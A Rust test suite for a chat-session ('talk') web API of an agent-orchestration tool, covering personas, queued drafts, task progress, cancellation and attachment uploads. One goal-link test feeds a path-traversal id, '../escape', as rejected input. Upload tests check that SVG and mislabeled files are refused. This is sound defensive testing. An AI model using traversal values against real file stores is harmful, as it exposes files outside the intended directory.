15693 detail
15694 .view
15695 .persona_avatar
15696 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15697 );
15698 assert_eq!(
15699 detail.view.operator_avatar,
15700 format!(
15701 "/avatars/operator.svg?v={}",
15702 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15703 )
15704 );
15705 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15706 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15707 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15708 assert!(rei.avatar.contains("persona=rei&v="));
15709 assert_ne!(
15710 rei.avatar.split("&v=").nth(1),
15711 plain.avatar.split("&v=").nth(1)
15712 );
15713 }
15714
15715 #[tokio::test]
15716 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15717 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15718 let cfg = config_for(&repo).await.unwrap();
15719 for arrived in [false, true] {
15720 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15721 let observed = ui.queued_generation(&id);
15722 let talk = ui.talks.get(&id).unwrap();
15723 if arrived {
15724 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15725 }
15726 let mut settling = std::pin::pin!(settle_settings_turn(
15727 talk,
15728 ui.talks.clone(),
15729 cfg.clone(),
15730 id.clone(),
15731 turn,
15732 observed
15733 ));
15734 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15735 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15736 assert_eq!(first.is_pending(), arrived);
15737 if arrived {
15738 assert!(!settling.await);
15739 }
15740 assert!(!ui.is_thinking(&id));
15741 }
15742 }
15743
15744 #[tokio::test]
15745 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15746 let tmp = TempDir::new().expect("tempdir");
15747 let repo = tmp.path().join("repo");
15748 std::fs::create_dir_all(&repo).expect("repo dir");
15749 std::fs::write(
15750 repo.join("magi.toml"),
15751 format!(
15752 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15753 ),
15754 )
15755 .expect("write magi.toml");
15756 let home = TempDir::new().expect("temp home");
15757 let talks = Talks::at(home.path().join("talks"));
15758 let ui = Arc::new(
15759 Ui::new(
15760 Queue::at(home.path().join("queue")),
15761 Questions::at(home.path().join("questions")),
15762 talks.clone(),
15763 home.path().join("runs"),
15764 home.path().to_path_buf(),
15765 repo.clone(),
15766 )
15767 .with_worktrees_root(home.path().join("wt")),
15768 );
15769 let cfg = config_for(&repo).await.expect("discover config");
15770 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15771 let id = talk.id.clone();
15772 let call = |persona: &str| {
15773 talk_persona(
15774 State(Arc::clone(&ui)),
15775 Path(id.clone()),
15776 Json(TalkPersona {
15777 persona: persona.to_owned(),
15778 }),
15779 )
15780 };
15781
15782 let unknown = call("nobody").await.expect_err("unknown persona");
15783 assert_eq!(
15784 unknown.status,
15785 StatusCode::BAD_REQUEST,
15786 "{}",
15787 unknown.message
15788 );
15789
15790 {
15791 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15794 let busy = call("rei").await.expect_err("busy talk");
15795 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15796 assert!(
15797 busy.message.contains("a talk turn is running"),
15798 "{}",
15799 busy.message
15800 );
15801 drop(guard);
15802 }
15803 assert_eq!(talks.get(&id).expect("reload").persona, "");
15804
15805 let Json(view) = call("gendo").await.expect("switch to a configured persona");
15806 assert_eq!(view.talk.persona, "gendo");
15807 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15808 assert!(!ui.is_thinking(&id), "idle response must release the claim");
15809 for chosen in ["default", "gendo", "rei", "gendo"] {
15811 let Json(view) = call(chosen).await.expect("immediate consecutive change");
15812 assert!(!view.thinking);
15813 assert!(!ui.is_thinking(&id));
15814 }
15815
15816 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15817 .await
15818 .expect("detail");
15819 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15820 assert_eq!(ids.first(), Some(&"default"));
15821 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15822
15823 let Json(view) = call("default").await.expect("back to default");
15824 assert_eq!(view.talk.persona, "");
15825
15826 let mut closed = talks.get(&id).expect("reload");
15827 talk::close(&mut closed, &talks).expect("close");
15828 let refused = call("rei").await.expect_err("closed talk");
15829 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15830 assert!(
15831 refused.message.contains("takes no more turns"),
15832 "{}",
15833 refused.message
15834 );
15835 }
15836
15837 #[tokio::test]
15838 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15839 let f = Fixture::start().await;
15840 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15841 let queue = f.queue();
15842 let mut mine = Task::new(
15843 "rename the loader".to_owned(),
15844 "rename the loader".to_owned(),
15845 PathBuf::from("/repo/magi"),
15846 Source::Agent {
15847 run: talk_id.clone(),
15848 node: "chat".to_owned(),
15849 },
15850 );
15851 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15852 assert_eq!(empty["task_progress"]["state"], "none");
15853 assert_eq!(empty["task_progress"]["total"], 0);
15854 queue.put(&mut mine).expect("file the task");
15855 let mut theirs = Task::new(
15856 "unrelated".to_owned(),
15857 "unrelated".to_owned(),
15858 PathBuf::from("/repo/magi"),
15859 Source::Human,
15860 );
15861 theirs.origin_chat = Some(talk_id.clone());
15863 queue.put(&mut theirs).expect("file the task");
15864
15865 let res = f.get(&format!("/api/talks/{talk_id}")).await;
15866 assert_eq!(res.status, 200, "{}", res.body);
15867 let body = res.json();
15868 assert_eq!(
15869 body["status"], "open",
15870 "filing a task does not close a talk"
15871 );
15872 let tasks = body["tasks"].as_array().expect("tasks array");
15873 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15874 assert_eq!(tasks[0]["id"], mine.id);
15875 for status in [
15876 TaskStatus::Queued,
15877 TaskStatus::Running,
15878 TaskStatus::Held,
15879 TaskStatus::Failed,
15880 TaskStatus::Blocked,
15881 TaskStatus::Parked,
15882 TaskStatus::Done,
15883 TaskStatus::Queued,
15884 ] {
15885 mine.status = status;
15886 queue.put(&mut mine).expect("update status");
15887 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15888 let progress = &detail["task_progress"];
15889 assert_eq!(progress["total"], 1);
15890 assert_eq!(progress["counts"][status.as_str()], 1);
15891 assert_eq!(detail["tasks"][0]["status"], status.as_str());
15892 assert_eq!(detail["status"], "open", "completion never closes the chat");
15893 if status == TaskStatus::Done {
15894 assert_eq!(progress["state"], "complete");
15895 assert_eq!(progress["done"], 1);
15896 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15897 } else {
15898 assert_eq!(progress["state"], "incomplete");
15899 assert_eq!(progress["done"], 0);
15900 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15901 }
15902 }
15903 }
15904
15905 #[test]
15906 fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
15907 let home = tempfile::tempdir().unwrap();
15908 let runs = home.path().join("runs");
15909 let queue = Queue::at(home.path().join("queue"));
15910 let talks = Talks::at(home.path().join("talks"));
15911 let config = stub_config();
15912 let repo = PathBuf::from("/repo/magi");
15913 let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
15914 let reserve_run = |repo| {
15915 let mut run = RunState::new(
15916 repo,
15917 "main".into(),
15918 "0000000".into(),
15919 "Follow the review".into(),
15920 config.clone(),
15921 );
15922 run.reserve_under(home.path()).unwrap();
15923 run
15924 };
15925 let older = reserve_run(repo.clone());
15926 let newer = reserve_run(repo.clone());
15927 let foreign = reserve_run(PathBuf::from("/repo/other"));
15928 let mismatched = reserve_run(repo.clone());
15929 let corrupt = reserve_run(repo.clone());
15930 let run_file = |id: &str| runs.join(id).join("run.json");
15931 std::fs::write(
15932 run_file(&mismatched.id),
15933 serde_json::to_vec(&older).unwrap(),
15934 )
15935 .unwrap();
15936 std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
15937 let goal = |tasks: Vec<String>, runs: Vec<String>| {
15938 serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
15939 "id": "g", "purpose": "Follow the review", "scope": "review",
15940 "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
15941 "state": "waiting", "step": "Follow the recorded review",
15942 "source_turn": 0, "owner_input": "Follow the review",
15943 "tasks": tasks, "runs": runs, "watches": [],
15944 "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
15945 "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
15946 }))
15947 .unwrap()
15948 };
15949 let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
15950
15951 talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
15952 assert_eq!(link(&talk), Some(("run", newer.id.clone())));
15953
15954 let unusable = vec![
15955 foreign.id.clone(),
15956 mismatched.id.clone(),
15957 corrupt.id.clone(),
15958 "missing".into(),
15959 "../escape".into(),
15960 ];
15961 let mut references = vec![older.id.clone()];
15962 references.extend(unusable.clone());
15963 talk.goals = vec![goal(vec![], references)];
15964 assert_eq!(link(&talk), Some(("run", older.id.clone())));
15965
15966 talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
15967 assert_eq!(link(&talk), None);
15968
15969 let mut task = Task::new(
15970 "Review".into(),
15971 "Follow the review".into(),
15972 repo,
15973 Source::Human,
15974 );
15975 queue.put(&mut task).unwrap();
15976 talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
15977 assert_eq!(link(&talk), Some(("task", task.id.clone())));
15978
15979 task.runs.push(older.id.clone());
15980 queue.put(&mut task).unwrap();
15981 assert_eq!(link(&talk), Some(("run", older.id)));
15982 }
15983
15984 #[test]
15985 fn talk_task_progress_counts_mixed_statuses() {
15986 let mut tasks: Vec<_> = [
15987 TaskStatus::Queued,
15988 TaskStatus::Running,
15989 TaskStatus::Held,
15990 TaskStatus::Failed,
15991 TaskStatus::Blocked,
15992 TaskStatus::Parked,
15993 TaskStatus::Done,
15994 ]
15995 .into_iter()
15996 .map(|status| {
15997 let mut task = Task::new(
15998 "task".into(),
15999 "task".into(),
16000 PathBuf::from("/repo"),
16001 Source::Human,
16002 );
16003 task.status = status;
16004 task
16005 })
16006 .collect();
16007 let progress = talk_task_progress(&tasks);
16008 assert_eq!(progress.state, "incomplete");
16009 assert_eq!(progress.total, 7);
16010 assert_eq!(progress.done, 1);
16011 assert_eq!(progress.unfinished_ids.len(), 6);
16012 assert!(progress.counts.values().all(|count| *count == 1));
16013 assert_eq!(
16014 progress.unfinished_ids,
16015 tasks[..6]
16016 .iter()
16017 .map(|task| task.id.clone())
16018 .collect::<Vec<_>>()
16019 );
16020
16021 for task in &mut tasks {
16022 task.status = TaskStatus::Done;
16023 }
16024 let complete = talk_task_progress(&tasks);
16025 assert_eq!(complete.state, "complete");
16026 assert_eq!(complete.done, 7);
16027 assert!(complete.unfinished_ids.is_empty());
16028 tasks[0].status = TaskStatus::Queued;
16029 let requeued = talk_task_progress(&tasks);
16030 assert_eq!(requeued.state, "incomplete");
16031 assert_eq!(requeued.done, 6);
16032 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16033
16034 let empty = talk_task_progress(&[]);
16035 assert_eq!(empty.state, "none");
16036 assert_eq!(empty.total, 0);
16037 assert_eq!(empty.done, 0);
16038 assert!(empty.unfinished_ids.is_empty());
16039 assert!(empty.counts.values().all(|count| *count == 0));
16040 }
16041
16042 #[tokio::test]
16043 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16044 let (_tmp, _repo, f) = talk_fixture().await;
16045 let id = f.post("/api/talks", None).await.json()["id"]
16046 .as_str()
16047 .expect("id")
16048 .to_owned();
16049
16050 let res = f
16051 .post(
16052 &format!("/api/talks/{id}/say"),
16053 Some(r#"{"text":"what does the queue module do?"}"#),
16054 )
16055 .await;
16056 assert_eq!(res.status, 202, "{}", res.body);
16057 let queued = res.json();
16058 let turns = queued["turns"].as_array().expect("turns array");
16059 assert_eq!(
16060 turns.len(),
16061 1,
16062 "the answer reflects only what is on disk the instant it is sent, \
16063 before the agent's turn - which can run for the whole of \
16064 `[graph] timeout_talk` - has a chance to land: {queued}"
16065 );
16066 assert_eq!(turns[0]["who"], "operator");
16067 assert_eq!(turns[0]["body"], "what does the queue module do?");
16068 assert_eq!(
16069 queued["thinking"], true,
16070 "the accepted response exposes the background turn claim: {queued}"
16071 );
16072
16073 let mut turns_after = 1;
16074 for _ in 0..SETTLE_STEPS {
16075 let detail = f.get(&format!("/api/talks/{id}")).await.json();
16076 turns_after = detail["turns"].as_array().expect("turns array").len();
16077 if turns_after == 2 {
16078 break;
16079 }
16080 tokio::time::sleep(Duration::from_millis(10)).await;
16081 }
16082 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16083 }
16084
16085 #[tokio::test]
16112 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16113 let tmp = TempDir::new().expect("tempdir");
16114 let repo = tmp.path().join("repo");
16115 std::fs::create_dir_all(&repo).expect("repo dir");
16116 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16117 let home = TempDir::new().expect("temp home");
16118 let talks = Talks::at(home.path().join("talks"));
16119 let ui = Arc::new(
16120 Ui::new(
16121 Queue::at(home.path().join("queue")),
16122 Questions::at(home.path().join("questions")),
16123 talks.clone(),
16124 home.path().join("runs"),
16125 home.path().to_path_buf(),
16126 repo.clone(),
16127 )
16128 .with_worktrees_root(home.path().join("wt")),
16129 );
16130 let cfg = config_for(&repo).await.expect("discover config");
16131
16132 for delay in 0..40u32 {
16133 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16134 let id = talk.id.clone();
16135
16136 let handler = tokio::spawn(talk_say(
16137 State(Arc::clone(&ui)),
16138 Path(id.clone()),
16139 Ok(Json(NewTalkTurn {
16140 reply_to: None,
16141 text: "what does the queue module do?".to_owned(),
16142 attachments: Vec::new(),
16143 })),
16144 ));
16145 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16146 handler.abort();
16147 let _ = handler.await;
16150
16151 let mut turns = 0;
16152 for _ in 0..SETTLE_STEPS {
16153 if let Ok(fresh) = talks.get(&id) {
16154 turns = fresh.turns.len();
16155 if turns != 1 {
16156 break;
16157 }
16158 }
16159 tokio::time::sleep(Duration::from_millis(10)).await;
16160 }
16161 assert_ne!(
16162 turns, 1,
16163 "delay {delay}: talk {id} recorded the operator's turn but \
16164 the agent never answered - the reply task was never \
16165 started after the handler future was dropped"
16166 );
16167 }
16168 }
16169
16170 #[tokio::test]
16215 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16216 let tmp = TempDir::new().expect("tempdir");
16217 let repo = tmp.path().join("repo");
16218 std::fs::create_dir_all(&repo).expect("repo dir");
16219 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16220 let home = TempDir::new().expect("temp home");
16221 let talks = Talks::at(home.path().join("talks"));
16222 let ui = Arc::new(
16223 Ui::new(
16224 Queue::at(home.path().join("queue")),
16225 Questions::at(home.path().join("questions")),
16226 talks.clone(),
16227 home.path().join("runs"),
16228 home.path().to_path_buf(),
16229 repo.clone(),
16230 )
16231 .with_worktrees_root(home.path().join("wt")),
16232 );
16233 let cfg = config_for(&repo).await.expect("discover config");
16234 let hang_guard = Duration::from_secs(30);
16237
16238 for attempt in 0..3u32 {
16239 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16240 let id = talk.id.clone();
16241 let turn_guard = ui
16244 .begin_talk_turn(&id)
16245 .expect("claim the turn")
16246 .expect("a fresh talk owes nobody a turn");
16247
16248 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16249 let (release_tx, release_rx) = std::sync::mpsc::channel();
16250 ui.set_busy_queue_gate(BusyQueueGate {
16251 reached: reached_tx,
16252 release: release_rx,
16253 });
16254
16255 let handler = tokio::spawn(talk_say(
16256 State(Arc::clone(&ui)),
16257 Path(id.clone()),
16258 Ok(Json(NewTalkTurn {
16259 reply_to: None,
16260 text: "what does the queue module do?".to_owned(),
16261 attachments: Vec::new(),
16262 })),
16263 ));
16264
16265 tokio::time::timeout(hang_guard, reached_rx)
16270 .await
16271 .unwrap_or_else(|_| {
16272 panic!(
16273 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16274 )
16275 })
16276 .expect("the busy branch dropped the gate without using it");
16277 assert!(
16278 crate::chat_worker::try_publication_guard(&talks, &id)
16279 .expect("publication fence")
16280 .is_none(),
16281 "a queued worker cannot promote text before its successor reservation is published"
16282 );
16283
16284 let closing = Arc::clone(&ui.admissions).write_owned();
16288 tokio::pin!(closing);
16289 std::future::poll_fn(|cx| {
16290 assert!(closing.as_mut().poll(cx).is_pending());
16291 std::task::Poll::Ready(())
16292 })
16293 .await;
16294 assert!(
16295 ui.begin_admission().is_err(),
16296 "replacement blocks later admissions"
16297 );
16298
16299 let running = talks.get(&id).expect("reload talk");
16306 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16307
16308 handler.abort();
16312 let _ = handler.await;
16313 std::future::poll_fn(|cx| {
16314 assert!(
16315 closing.as_mut().poll(cx).is_pending(),
16316 "HTTP cancellation must not abandon a publishing transaction"
16317 );
16318 std::task::Poll::Ready(())
16319 })
16320 .await;
16321 assert!(
16322 crate::chat_worker::try_publication_guard(&talks, &id)
16323 .expect("publication fence after disconnect")
16324 .is_none()
16325 );
16326
16327 release_tx.send(()).expect("busy queue write still gated");
16333 drop(
16334 tokio::time::timeout(hang_guard, closing)
16335 .await
16336 .unwrap_or_else(|_| {
16337 panic!("attempt {attempt}: talk {id} did not release admission after the queue gate opened")
16338 }),
16339 );
16340 assert!(
16341 crate::chat_worker::try_publication_guard(&talks, &id)
16342 .expect("publication fence after acknowledgement")
16343 .is_some(),
16344 "the publication fence is not retained by the long response"
16345 );
16346
16347 let mut fresh = talks.get(&id).expect("reload talk");
16350 for _ in 0..SETTLE_STEPS {
16351 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16352 break;
16353 }
16354 tokio::time::sleep(Duration::from_millis(10)).await;
16355 fresh = talks.get(&id).expect("reload talk");
16356 }
16357 assert!(
16358 fresh.pending.is_empty() && fresh.turns.len() == 2,
16359 "attempt {attempt}: talk {id} left the operator's text queued \
16360 with no drainer - the reclaimed turn was dropped along with \
16361 the handler future (pending {:?}, {} turns)",
16362 fresh.pending,
16363 fresh.turns.len()
16364 );
16365 }
16366 }
16367
16368 #[tokio::test]
16369 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16370 let (_tmp, _repo, f) = talk_fixture().await;
16371 let id = f.post("/api/talks", None).await.json()["id"]
16372 .as_str()
16373 .expect("id")
16374 .to_owned();
16375 let store = f.talks();
16376 let mut recovered = store.get(&id).expect("opened talk");
16377 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16378 .expect("persist pending draft without a live turn");
16379
16380 let edited = f
16381 .post(
16382 &format!("/api/talks/{id}/pending/edit"),
16383 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16384 )
16385 .await;
16386 assert_eq!(edited.status, 200, "{}", edited.body);
16387 assert!(edited.json()["thinking"].as_bool().unwrap());
16388
16389 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16390 for _ in 0..SETTLE_STEPS {
16391 if detail["turns"].as_array().expect("turns").len() == 2 {
16392 break;
16393 }
16394 tokio::time::sleep(Duration::from_millis(10)).await;
16395 detail = f.get(&format!("/api/talks/{id}")).await.json();
16396 }
16397 let turns = detail["turns"].as_array().expect("turns");
16398 assert_eq!(
16399 turns.len(),
16400 2,
16401 "the recovered draft must run once: {detail}"
16402 );
16403 assert_eq!(turns[0]["body"], "corrected");
16404 assert_eq!(detail["pending"], "");
16405 }
16406
16407 #[tokio::test]
16408 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16409 let tmp = TempDir::new().expect("tempdir");
16410 let repo = tmp.path().join("repo");
16411 std::fs::create_dir_all(&repo).expect("repo dir");
16412 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16413 let f = Fixture::with_repo(repo).await;
16414 let id = f.post("/api/talks", None).await.json()["id"]
16415 .as_str()
16416 .expect("id")
16417 .to_owned();
16418 let store = f.talks();
16419 let mut recovered = store.get(&id).expect("opened talk");
16420 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16421 .expect("persist pending draft without a live turn");
16422
16423 let refused = f
16424 .post(
16425 &format!("/api/talks/{id}/say"),
16426 Some(r#"{"text":"new message"}"#),
16427 )
16428 .await;
16429 assert_eq!(refused.status, 409, "{}", refused.body);
16430 assert!(refused.body.contains("resume"), "{}", refused.body);
16431 let saved = store.get(&id).expect("draft remains after refusal");
16432 assert!(saved.turns.is_empty());
16433 assert_eq!(saved.pending, "saved before restart");
16434
16435 let say_path = format!("/api/talks/{id}/say");
16436 let (first, second) = tokio::join!(
16437 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16438 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16439 );
16440 assert_eq!(first.status, 409, "{}", first.body);
16441 assert_eq!(second.status, 409, "{}", second.body);
16442 let saved = store
16443 .get(&id)
16444 .expect("draft remains after concurrent refusals");
16445 assert!(saved.turns.is_empty());
16446 assert_eq!(saved.pending, "saved before restart");
16447
16448 let resumed = f
16449 .post(&format!("/api/talks/{id}/pending/resume"), None)
16450 .await;
16451 assert_eq!(resumed.status, 202, "{}", resumed.body);
16452 let duplicate = f
16453 .post(&format!("/api/talks/{id}/pending/resume"), None)
16454 .await;
16455 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16456
16457 for _ in 0..SETTLE_STEPS {
16458 if store.get(&id).expect("talk").turns.len() == 2 {
16459 break;
16460 }
16461 tokio::time::sleep(Duration::from_millis(10)).await;
16462 }
16463 let finished = store.get(&id).expect("finished talk");
16464 assert_eq!(finished.turns.len(), 2, "{finished:?}");
16465 assert_eq!(finished.turns[0].body, "saved before restart");
16466 assert!(finished.pending.is_empty());
16467 }
16468
16469 #[tokio::test]
16470 async fn an_image_only_recovered_draft_resumes_without_text() {
16471 let (_tmp, _repo, f) = talk_fixture().await;
16472 let id = f.post("/api/talks", None).await.json()["id"]
16473 .as_str()
16474 .expect("id")
16475 .to_owned();
16476 let uploaded = f
16477 .post_bytes(
16478 &format!("/api/talks/{id}/attachments"),
16479 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16480 PNG_BYTES,
16481 )
16482 .await;
16483 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16484 let attachment = f
16485 .talks()
16486 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16487 .expect("attachment metadata")
16488 .expect("stored attachment");
16489 let store = f.talks();
16490 let mut recovered = store.get(&id).expect("opened talk");
16491 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16492
16493 let resumed = f
16494 .post(&format!("/api/talks/{id}/pending/resume"), None)
16495 .await;
16496 assert_eq!(resumed.status, 202, "{}", resumed.body);
16497 for _ in 0..SETTLE_STEPS {
16498 if store.get(&id).expect("talk").turns.len() == 2 {
16499 break;
16500 }
16501 tokio::time::sleep(Duration::from_millis(10)).await;
16502 }
16503 let finished = store.get(&id).expect("finished talk");
16504 assert_eq!(finished.turns.len(), 2, "{finished:?}");
16505 assert!(finished.turns[0].body.is_empty());
16506 assert_eq!(finished.turns[0].attachments.len(), 1);
16507 assert!(finished.pending_attachments.is_empty());
16508 }
16509
16510 #[tokio::test]
16511 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16512 let (_tmp, _repo, f) = talk_fixture().await;
16513 let id = f.post("/api/talks", None).await.json()["id"]
16514 .as_str()
16515 .expect("id")
16516 .to_owned();
16517 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16518 assert_eq!(closed.status, 200, "{}", closed.body);
16519 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16520 .expect("serialize closed talk");
16521 for (path, body) in [
16522 (format!("/api/talks/{id}/pending/resume"), None),
16523 (
16524 format!("/api/talks/{id}/pending/clear"),
16525 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16526 ),
16527 (
16528 format!("/api/talks/{id}/pending/edit"),
16529 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16530 ),
16531 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16532 ] {
16533 let response = f.post(&path, body).await;
16534 assert_eq!(response.status, 409, "{}", response.body);
16535 }
16536 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16537 .expect("serialize closed talk");
16538 assert_eq!(
16539 after_clear, before_clear,
16540 "clear must not rewrite a closed talk"
16541 );
16542 }
16543
16544 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16547
16548 #[tokio::test]
16549 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16550 let tmp = TempDir::new().expect("tempdir");
16551 let repo = tmp.path().join("repo");
16552 std::fs::create_dir_all(&repo).expect("repo dir");
16553 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16554 let f = Fixture::with_repo(repo).await;
16555 let id_a = f.post("/api/talks", None).await.json()["id"]
16556 .as_str()
16557 .unwrap()
16558 .to_owned();
16559 let id_b = f.post("/api/talks", None).await.json()["id"]
16560 .as_str()
16561 .unwrap()
16562 .to_owned();
16563
16564 let a = f
16565 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16566 .await;
16567 assert_eq!(a.status, 202, "{}", a.body);
16568 assert_eq!(a.json()["thinking"], true);
16569 let b = f
16570 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16571 .await;
16572 assert_eq!(b.status, 202, "{}", b.body);
16573 assert_eq!(b.json()["thinking"], true);
16574
16575 let listed = f.get("/api/talks").await.json();
16576 for id in [&id_a, &id_b] {
16577 let view = listed
16578 .as_array()
16579 .unwrap()
16580 .iter()
16581 .find(|talk| talk["id"] == *id)
16582 .unwrap();
16583 assert_eq!(view["thinking"], true, "{listed}");
16584 }
16585 let repeated = f
16586 .post(
16587 &format!("/api/talks/{id_a}/say"),
16588 Some(r#"{"text":"again"}"#),
16589 )
16590 .await;
16591 assert_eq!(repeated.status, 202, "{}", repeated.body);
16592 assert_eq!(repeated.json()["pending"], "again");
16593 }
16594
16595 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16598
16599 #[tokio::test]
16600 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16601 let f = Fixture::start().await;
16602 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16603
16604 let res = f
16605 .post_bytes(
16606 &format!("/api/talks/{id}/attachments"),
16607 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16608 PNG_BYTES,
16609 )
16610 .await;
16611 assert_eq!(res.status, 201, "{}", res.body);
16612 let body = res.json();
16613 assert_eq!(body["name"], "shot.png");
16614 assert_eq!(body["mime"], "image/png");
16615 assert_eq!(body["bytes"], PNG_BYTES.len());
16616 let att_id = body["id"].as_str().expect("id").to_owned();
16617 assert_eq!(
16618 att_id.len(),
16619 32,
16620 "the id must never be a client-suppliable path: {att_id}"
16621 );
16622
16623 let got = f
16624 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16625 .await;
16626 assert_eq!(got.status, 200, "{}", got.body);
16627 assert_eq!(got.header("content-type"), Some("image/png"));
16628 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16629 assert_eq!(got.bytes, PNG_BYTES);
16630 }
16631
16632 #[tokio::test]
16633 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16634 let f = Fixture::start().await;
16635 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16636
16637 let svg = f
16640 .post_bytes(
16641 &format!("/api/talks/{id}/attachments"),
16642 &[("Content-Type", "image/svg+xml")],
16643 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16644 )
16645 .await;
16646 assert!(
16647 (400..500).contains(&svg.status),
16648 "svg must be refused: {} {}",
16649 svg.status,
16650 svg.body
16651 );
16652 assert!(svg.body.contains("SVG"), "{}", svg.body);
16653
16654 let text = f
16655 .post_bytes(
16656 &format!("/api/talks/{id}/attachments"),
16657 &[("Content-Type", "text/plain")],
16658 b"just some text",
16659 )
16660 .await;
16661 assert!(
16662 (400..500).contains(&text.status),
16663 "an unlisted type must be refused: {} {}",
16664 text.status,
16665 text.body
16666 );
16667
16668 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16671 let big = f
16672 .post_bytes(
16673 &format!("/api/talks/{id}/attachments"),
16674 &[("Content-Type", "image/png")],
16675 &oversized,
16676 )
16677 .await;
16678 assert_eq!(
16679 big.status,
16680 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16681 "{}",
16682 big.body
16683 );
16684 }
16685
16686 #[tokio::test]
16687 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16688 let f = Fixture::start().await;
16689 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16690
